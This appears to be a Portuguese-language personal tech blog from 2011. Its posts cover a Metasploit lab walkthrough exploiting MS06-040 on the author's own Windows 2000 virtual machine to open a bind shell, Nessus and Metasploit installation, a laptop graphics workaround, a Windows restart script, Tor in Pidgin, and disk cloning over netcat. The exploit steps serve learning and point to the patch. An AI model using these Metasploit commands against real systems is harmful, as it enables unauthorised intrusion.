segunda-feira, 26 de setembro de 2011

Identificação e Exploração de vulnerabilidade - chutando cachorro morto

Cobaia: windows 2000 rodando no virtualbox

1) ligar windows 2000 e configurar rede (no meu caso 50.0.0.10)
2) com Nessus, fazer varredura na maquina win2000
3) identificar a vulnerabilidade ms06-040
4) Com nmap, identificar a porta 445 aberta (etapa não obrigatória)
nmap 50.0.0.10 -p 445
5) Metasploit
    $ msfconsole
    show exploits (identificar o ms06-040)
    use windows/smb/ms06_040_netapi
    set RHOST 50.0.0.10 (IP do alvo)
    set LHOST 50.0.0.2 (IP origem)
    show payloads (o que se deseja apos explorar vulnerabilidade)
    set PAYLOAD windows/shell/bind_tcp
exploit

Para consertar a vulnerabilidade, baixar o patch http://technet.microsoft.com/en-us/security/bulletin/ms06-040

Instalação do Nessus

Vamos direto ao ponto para não complicar.

a) Acessar para fazer download em http://www.tenable.com/products/nessus/nessus-download-agreement
No meu caso foi .deb para 64bits: http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-debian5_amd64.deb&licence_accept=yes&t=26b8a3dbd1ccd6c38aeb0b2fe925ad0a



b) instalar normalmente
# dpkg -i Nessus*.deb

c) Após a instalação ele dá os passos, que são:

# /opt/nessus/sbin/nessus-adduser (criar usuario)

d) registrar no site: http://www.nessus.org/register/:
A chave de registro bem como as instruções são enviadas para o e-mail.
Normalmente faz-se assim:
# /opt/nessus/bin/nessus-fetch --register (chave que recebeu no email)

e) rodar o servidor nessus:
# /opt/nessus/sbin/nessusd


f) acessar a interface gráfica e utilizar:
https://localhost:8834

obs.: pode-se criar outros usuários não-administradores via linha de comando ou na interface web.

Instalação do Metasploit

Testado em Debian e Ubuntu, mas creio que funciona para qualquer outra distribuição uma vez que foi utilizado pacote universal.

1) baixar o pacote instalador em http://www.metasploit.com/download/:
No meu caso baixei o 64bits full setup (http://updates.metasploit.com/data/releases/framework-4.0.0-linux-full.run)

2) Alterar para root com "su -" e instalar o pacote dentro o /opt:
$ su - (atenção, não funcionou com "su", pois não carrega todas as variáveis de ambiente)
# chmod 700 framework*.run
# ./framework*.run  (deve perguntar se deseja atualizar base, então diga sim)

3) Atualizar a base de dados caso não o tenha feito:
# msfupdate

4) Utilizar o metasploit como usuário comum:
$ msfconsole

Quanto ao uso do metasploit, futuramente coloco algumas instruções.

segunda-feira, 12 de setembro de 2011

Ubuntu 11.04 x Dell Vostro 3450 c/ placa gráfica ATI Radeon 6600

Infelizmente não consegui funcionar a placa gráfica AMD Radeon HD6600M Series no Ubuntu 11.04. Este problema não é particularidade do Ubuntu, mas pelo que li em alguns foruns, devido a placa possuir somente ainda drivers proprietários, não tem como desenvolvedores Linux aprimorarem o driver de forma que ele funcione como deveria.

Minhas placas gráficas são:
#lspci | grep VGA
Intel Corporation 2nd Generation Core Processos Family Integrated Graphics Controller (rev 09)
ATI Technologies Inc NI Whistler [AMD Radeon HD 6600M Series] (rev ff)

Enquanto aguardo este parangolê funcionar direito, a solução que utilizo (baseando-me no artigo VGAswitcheroo – Tópico Definitivo), foi fazer com que o módulo da placa gráfica radeon carregue DEPOIS da placa onboard e isto pode ser feito da seguinte forma:

1°) colocar o módulo radeon na blacklist, o que o impedirá de ser carregado primeiro:
echo "blacklist radeon" >> /etc/modprobe.d/blacklist.conf

2°) Carregar o módulo radeon no script rc.local e desligar a placa radeon para economizar energia do notebook. Para isto, edite o arquivo /etc/rc.local e insira as seguintes linhas antes do "exit 0":

modprobe radeon
echo OFF > /sys/kernel/debug/vgaswitcheroo/switch

A respeito da 2ª linha acima, um resumo de opções possíveis(informações obtidas do link mencionado anteriormente):
ON – liga a placa gráfica secundária (e que não está sendo utilizada no momento)
OFF – desliga a placa gráfica secundária (e que não está sendo utilizada no momento)
DDIS – alterna a placa gráfica discreta(popular offboard), como a placa primária da sessão.
DIGD - alterna a placa gráfica integrada, como a placa primária da sessão.

quarta-feira, 31 de agosto de 2011

Script de reinicialização para Windows

Infelizmente algumas aplicações comerciais AINDA rodam apenas em Windows. Outras ainda por cima EXIGEM que o usuário tenha permissões de administrador para que o sistema funcione. Na minha opinião trata-se de algo inaceitável quando se fala em segurança da informação. Porém deixemos esta questão para discussão futura.
Uma solução que ajuda um pouco na segurança, é colocar o executável do programa para ser inicializado ao login do usuário, de forma que o usuário fique preso somente à aplicação e não ao ambiente windows do servidor (como eu disse ajuda "um pouco" na segurança).
Caso seja necessário reiniciar o windows, o qual tem como "plugin" a necessidade de ser reinicializado por diversos motivos (algumas vezes inexplicáveis), sugiro a criação de um usuário qualquer, o qual tenha um script de execução para ser ativado ao se logar. Exemplo: crie um usuário chamado "reiniciar" e tenha como executável o script "reiniciar.bat".

O conteúdo do script deverá ser algo como:
@echo off
cls
echo ATENCAO: o servidor sera reiniciado dentro de 10 segundos,
pause
shutdown /r /t 10 /f

Onde as opções do comando shutdown são:
/r para reiniciar
/t 10 aguardar 10 segundos para executar
/f forçar a reinicialização (independente do que estiver rodando na máquina

quarta-feira, 22 de junho de 2011

Habilitar o uso do TOR no PIDGIN

Ao editar uma conta já criada no pidgin, acesse a aba "proxy" e selecione o tipo de proxy "socks 5". Em seguida preencha o Host com "127.0.0.1" e Porta com 9050.

Considerando que o polipo já esteja configurado, agora é só navegar.

terça-feira, 1 de fevereiro de 2011

Copiar HD via rede usando dd e nc

A algum tempo me deparei com um problema típico: fazer a instalação idêntica de um sistema Linux (na época era um Slackware) em um laboratório com mais de 30 computadores. Como é sabido pelos que atuam na área, a clonagem usando o Ghost nem sempre funciona bem.

A solução viável então seria a utilização do comando "dd", porém ele sozinho ainda não seria viável. Imagine tirar mais de 30 HDs um a um das máquinas destino e colocá-los na máquina origem, dar o boot e executar o DD para copiar... Seria um trabalho muito cansativo e sinceramente não tão eficiente.

A solução que utilizei foi a seguinte:

1) Instalar o sistema e configurá-lo em apenas uma máquina (denominada origem).

2) Na máquina origem, após instalado e configurado o sistema, dar boot com um LiveCD Debian (para que o sistema não inicie do HD da própria máquina).

3) Na máquina destino também dar boot com um LiveCD Debian.

Obs.: Neste momento ambas as máquinas (origem e destino) inicializaram utilizando um Debian LiveCD (sistema independente do HD das máquinas).

4) Conecte uma máquina à outra utilizando um cabo CROSSOVER. É imprescindível esta forma de conexão, pois a possibilidade colisão pode-se dizer que é nula, uma vez que o tráfego será direto de uma placa a outra, sem intermediários e direção oposta de dados trafegando. A utilização de switch não foi satisfatória(obtive erro de cópia em 25% das máquinas).

5) No destino execute os seguintes comandos:

$ sudo su
# ifconfig eth0 10.0.0.2 netmask 255.255.255.0
# nc -l -p 9000 | dd of=/dev/hda


Obs.: Após o último comando, o prompt deverá ficar piscando sem nenhuma informação, aguardando o envio dos dados. Mantenha esta máquina inativa, até o término completo da operação. Só será exibida alguma mensagem ao término do processamento. A única característica de presença de funcionamento é o LED de indicação de leitura/escrita do HD funcionando freneticamente.

6) Na origem execute os seguintes comandos:

$ sudo su
# ifconfig eth0 10.0.0.1 netmask 255.255.255.0
# dd if=/dev/hda | nc 10.0.0.2 9000


Assim como na máquina destino, após o último comando, o prompt deverá ficar piscando sem nenhuma informação. Observe o LED de indicação de leitura/escrita do HD em funcionamento.

7) Após o término da operação, será exibido uma mensagem do comando dd indicando a quantidade de dados copiados e o prompt normal aparecerá novamente na tela de ambas as máquinas (origem e destino).

Neste momento a cópia está completa, bastando dar o boot normal na máquina destino e testar o sistema copiado.

Como no meu caso eram várias máquinas destino, o que fiz em seguida foi:

a) selecionar a nova máquina de destino
b) executar os passos 3, 4, 5 e 6

Esta solução possibilita mais agilidade e eficiência no procedimento uma vez que não é necessário abrir nenhuma máquina, sendo apenas necessário o manuseio de cabo, ligando-o às máquinas desejadas (origem e destino).

Finalizo dizendo que nada é perfeito. Fazendo a cópia desta forma, obtive erro em 2% das máquinas, o que melhorou muito em comparação ao uso do ghost.

Descrição dos comandos utilizados nos passos 5 e 6:
  • sudo su -> mudança para usuário root no liveCD
  • ifconfig -> configuração da placa de rede (no exemplo deve estar na mesma subrede)
  • dd -> comando para cópia idêntica (bit a bit) de um arquivo ou partição. No caso utilizei para a cópia do HD inteiro.
  • nc -> (netcat) comando que realiza leitura/escrita através de conexões de rede.

A última linha nos passos 5 e 6, é uma combinação dos comandos "dd" e "nc", que fazem a copia de origem e destino, considerando que ambos estão em pontos de rede diferentes.

Obrigado, até a próxima.